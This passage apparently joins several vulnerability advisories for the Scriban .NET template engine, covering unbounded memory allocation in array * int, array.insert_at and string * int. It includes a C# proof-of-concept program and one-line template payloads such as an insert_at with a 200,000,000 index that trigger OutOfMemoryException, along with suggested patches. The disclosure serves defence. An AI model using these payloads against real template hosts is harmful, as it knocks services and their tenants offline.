| Multiplier | template size | elements | peak working set | |---|---|---|---| | 100,000 | 38 B | 500K | 49 MB (not a DoS) | | 50,000,000 | 40 B | 250M | 1,958 MB | | 200,000,000 | 41 B | 1B | 7,681 MB | | 400,000,000 | 41 B | 2B | 15,313 MB | | 429,496,730 | 41 B | — | integer overflow in intModifier * array.Count → wrapped ArgumentOutOfRangeException |

LoopLimit (default 1000) is demonstrably not enforced: 250,000,000 elements are created with no "iteration limit" error. Reproduced identically on released NuGet 6.6.0, 7.0.0, 7.1.0, and 7.2.0, and on 3.0.0, 4.0.0, 5.0.0, 5.10.0, 6.0.0, 6.2.1, 6.5.8 (~2 GB at multiplier 50,000,000). Version 2.1.4 and earlier are NOT affected — the operator did not exist (Unable to convert type ScriptArray to int).

Impact

• Type: Denial of service via uncontrolled memory allocation (CWE-789 / CWE-1284). The result size is intModifier * array.Count, attacker-controlled, with no limit and no overflow-safe arithmetic.
• Severity: CVSS 4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N = 8.7 (High) — the same vector and score GitHub/Scriban assigned to the sibling advisory GHSA-24c8-4792-22hx. CVSS 3.1 equivalent AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H = 7.5 (High).
• Who is impacted: any application that renders a template whose text is wholly or partially attacker-controlled (the documented server-side template scenario), or that passes attacker-controlled strings to object.eval / object.eval_template. No MemberFilter interaction is required — this is a pure language operation.
• Outcome (deployment-dependent, stated honestly): On systems with sufficient memory, the runtime catches the allocation failure and the host sees a ScriptRuntimeException wrapping OutOfMemoryException (or ArgumentOutOfRangeException on the integer-overflow path) — recoverable per request. On systems where the multi-GB allocation exceeds available memory, the OS OOM-killer can terminate the process before the managed exception fires (this outcome is deployment-dependent and was not reproduced in our 20 GB + swap test environment). In all cases, a ~40-byte template forces a multi-GB allocation and seconds of pegged CPU/GC — a real per-request availability degradation and resource amplification.
• Why the existing mitigation does not help: LoopLimit (default 1000) is the documented control for unbounded iteration/allocation, but the array * int path never consults it, so a defender running default configuration is not protected.
• Affected versions: 3.0.0 – 7.2.0 (every release containing the array * int operator). 2.1.4 and earlier are not affected.

Suggested remediation

Apply the same hardening already used on the sibling operations, in ScriptArray.cs (Multiply case, :504-508):

• Mirror array.insert_at: call context.StepLoop(span, ref loopStep) inside the fill loop so LoopLimit is enforced; or
• Mirror string * int: pre-check the result size with overflow-safe arithmetic before allocating, e.g. if (context.LimitToString > 0 && (long)intModifier * array.Count > context.LimitToString) throw new ScriptRuntimeException(...), and compute the capacity as long (or reject negative/overflowing products) to remove the integer-overflow path.

Add a regression test that asserts a graceful ScriptRuntimeException for a large multiplier (e.g. [1,2,3,4,5] * 50000000) rather than allowing the allocation to proceed.

Summary

ArrayFunctions.InsertAt in Scriban allocates index - list.Count null entries in a tight C# for loop with no bound on index. The function is exposed to template authors as array.insert_at, and the fill loop ignores every existing safety control: LoopLimit, LimitToString, ObjectRecursionLimit, and RecursiveLimit. A single template such as {{ [1] | array.insert_at 200000000 'x' | array.size }} causes OutOfMemoryException in well under a second on a host with 1 GB of memory, even when LoopLimit is set to 10 and LimitToString is set to 100. Because OutOfMemoryException is generally not caught by the template renderer or by typical host applications, the vulnerability terminates the host process, not just the template.

This is a sibling vector to GHSA-xw6w-9jjh-p9cr / GHSA-c875-h985-hvrc / GHSA-v66j-x4hw-fv9g, which patched comparable unbounded primitives in string * int, array.size, array.join, string.pad_left, and string.pad_right. The 7.0.0 hardening pass (dde661d "Apply LoopLimit to internal iteration paths" and 4227fde "Harden string padding width limits") swept the equivalent loops in ArrayFunctions and StringFunctions but missed InsertAt.

Details

Reproducible in 7.1.0 (latest tag) and on master at c8094b0.

src/Scriban/Functions/ArrayFunctions.cs:369-386:

public static IEnumerable InsertAt(IEnumerable? list, int index, object? value)
{
    if (index < 0)
    {
        index = 0;
    }

    var array = list is null ? new ScriptArray() : new ScriptArray(list);
    // Make sure that the list has already inserted elements before the index
    for (int i = array.Count; i < index; i++)
    {
        array.Add(null);            // <-- unbounded fill, no StepLoop, no Limit*
    }

    array.Insert(index, value);

    return array;
}

The function is registered as the template builtin array.insert_at (array.fmt-cs and the standard ArrayFunctions ScriptObject reflection registration). It is invoked from a template like [1] | array.insert_at 999999999 "x".

Three properties combine to make this exploitable:

1. There is no context-aware overload. Comparable amplification primitives in this same file received a (TemplateContext, SourceSpan, ...) overload that calls StepLoop per iteration (AddRange, Compact, Concat, Last, Limit, Offset, Reverse, Size, Sort, Uniq, Contains, Each, Filter, Join, Map, Any -- see commit dde661d). InsertAt was not given that treatment. The single IEnumerable, int, object signature is what the engine resolves to, so no host configuration changes its behaviour.

2. The loop itself never consults context.LoopLimit, context.LimitToString, context.RecursiveLimit, or context.ObjectRecursionLimit. There is no upstream call into context.StepLoop, context.CheckAbort, or any guard. With index = 200_000_000, the C# loop calls ScriptArray.Add(null) 200 million times on a List<object> whose capacity doubles geometrically; the JIT-compiled tight loop reaches the .NET array allocator faster than the GC can keep up.

3. OutOfMemoryException is the actual failure mode. Per Microsoft, OutOfMemoryException and friends are not reliably catchable by user code in production CLR runtimes; even when they are caught, large background allocations and triggered GC cycles leave the process in a degraded state. In the PoC below, the renderer wraps the OOM in a ScriptRuntimeException because the underlying allocation lands inside the renderer's try block, but on hosts that allocate the array slightly differently (e.g. tighter memory cap, server GC, or higher index value than the host has memory for) the bare OutOfMemoryException propagates and crashes the AppDomain.

The pattern that matches the existing fixes is to add a context-aware overload that validates index against LoopLimit (or LimitToString for the resulting array footprint) before the fill loop runs, and to mark the unsafe overload [ScriptMemberIgnore]:

[ScriptMemberIgnore]
public static IEnumerable InsertAt(IEnumerable list, int index, object value) { /* current body */ }

public static IEnumerable InsertAt(TemplateContext context, SourceSpan span, IEnumerable list, int index, object value)
{
    if (index < 0) index = 0;
    if (context.LoopLimit > 0 && index > context.LoopLimit)
    {
        throw new ScriptRuntimeException(span,
            $"array.insert_at index `{index}` exceeds LoopLimit `{context.LoopLimit}`.");
    }
    return InsertAt(list, index, value);
}

Same pattern as ArrayFunctions.AddRange, Compact, Concat, Last, Limit, etc., introduced by dde661d, and as StringFunctions.PadLeft/PadRight introduced by 4227fde.

PoC

Standalone .NET 9 console app referencing Scriban 7.1.0 from NuGet.

poc.csproj:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net9.0</TargetFramework>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="Scriban" Version="7.1.0" />
  </ItemGroup>
</Project>

Program.cs:

using System;
using System.Diagnostics;
using Scriban;

class Program
{
    static void Run(string title, string template, int loopLimit, int limitToString, int timeoutSec)
    {
        Console.WriteLine($"\n=== {title} ===");
        var ctx = new TemplateContext { LoopLimit = loopLimit, LimitToString = limitToString };
        var tpl = Template.Parse(template);
        var sw = Stopwatch.StartNew();
        try
        {
            var task = System.Threading.Tasks.Task.Run(() => tpl.Render(ctx));
            if (!task.Wait(TimeSpan.FromSeconds(timeoutSec)))
            {
                Console.WriteLine($"  TIMEOUT after {timeoutSec}s -- DoS confirmed");
                return;
            }
            Console.WriteLine($"  output={task.Result?.Length} chars in {sw.Elapsed.TotalSeconds:F2}s");
        }
        catch (AggregateException ex)
        {
            Console.WriteLine($"  EXCEPTION ({sw.Elapsed.TotalSeconds:F2}s): {ex.InnerException?.GetType().Name}: " +
                              $"{ex.InnerException?.Message?.Split('\n')[0]}");
        }
    }

    static void Main()
    {
        // Baseline: small index renders normally.
        Run("baseline",
            "{{ ([1] | array.insert_at 5 'x' | array.size) }}",
            loopLimit: 1000, limitToString: 1048576, timeoutSec: 5);

        // Exploit: 200M index. LoopLimit=10 and LimitToString=100 do NOT protect.
        Run("DoS via array.insert_at index=200_000_000",
            "{{ [1] | array.insert_at 200000000 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 30);

        // Exploit: int.MaxValue.
        Run("DoS via array.insert_at index=int.MaxValue",
            "{{ [1] | array.insert_at 2147483647 'x' | array.size }}",
            loopLimit: 10, limitToString: 100, timeoutSec: 15);
    }
}

Build and run inside a memory-capped Docker container so the OOM is actual, not theoretical:

docker run --rm -v "$PWD":/app -w /app -m 1g mcr.microsoft.com/dotnet/sdk:9.0 \
    dotnet run -c Release

Observed output:

=== baseline ===
  output=1 chars in 0.01s

=== DoS via array.insert_at index=200_000_000 ===
  EXCEPTION (0.68s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

=== DoS via array.insert_at index=int.MaxValue ===
  EXCEPTION (0.52s): ScriptRuntimeException: <input>(1,10) : error : Exception of type 'System.OutOfMemoryException' was thrown.

Two observations:

• The exploit triggers in roughly 600 ms inside a 1 GB container. Increasing the host memory simply moves the OOM threshold; the malicious template still wedges the process for the duration of the allocation and the resulting GC pressure, which is itself a denial of service even when the OOM is suppressed.
• Setting LoopLimit = 10 and LimitToString = 100 (effectively the most paranoid tuning a host could pick) makes no difference. The fill loop is in compiled C#, never goes through StepLoop, and the result is a ScriptArray, not a string, so LimitToString is never consulted.

Impact

Denial of service against any host that renders attacker-controlled or attacker-influenced Scriban templates. This includes the canonical Scriban use cases the README itself lists -- email templating, report templating, in-CMS templating, and Statiq-style static site generators where the template content is part of the data ingested. A single one-line template payload is enough to either OOM the process outright (when the host gives the renderer enough memory headroom for the loop to actually finish) or to wedge the process for tens of seconds while the allocator and GC fight (when memory is tight). On ASP.NET hosts using app.UseScriban-style middleware or background workers running per-tenant templates, the OOM terminates the entire process, taking down all tenants.

Severity is consistent with the four DoS GHSAs already published against Scriban (GHSA-xw6w-9jjh-p9cr High 7.5, GHSA-c875-h985-hvrc High 7.5, GHSA-v66j-x4hw-fv9g High 7.5, GHSA-m2p3-hwv5-xpqw High 7.5). The attack vector, complexity, and impact are identical: network reachable, low complexity, no privileges, no user interaction, full availability impact, no confidentiality or integrity impact. CVSS 4.0 vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (High, 8.7).

Summary

Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (LimitToString, LoopLimit) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates.

Details

Vector 1: Unbounded string multiplication

In ScriptBinaryExpression.cs, the CalculateToString method handles the string * int operator by looping without any upper bound:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334
var leftText = context.ObjectToString(left);
var builder = new StringBuilder();
for (int i = 0; i < value; i++)
{
    builder.Append(leftText);
}
return builder.ToString();

The LimitToString safety control (default 1MB) does not protect this code path. It only applies to ObjectToString output conversions in TemplateContext.Helpers.cs (lines 101-121), not to intermediate string values constructed inside CalculateToString. The LoopLimit also does not apply because this is a C# for loop, not a template-level loop — StepLoop() is never called here.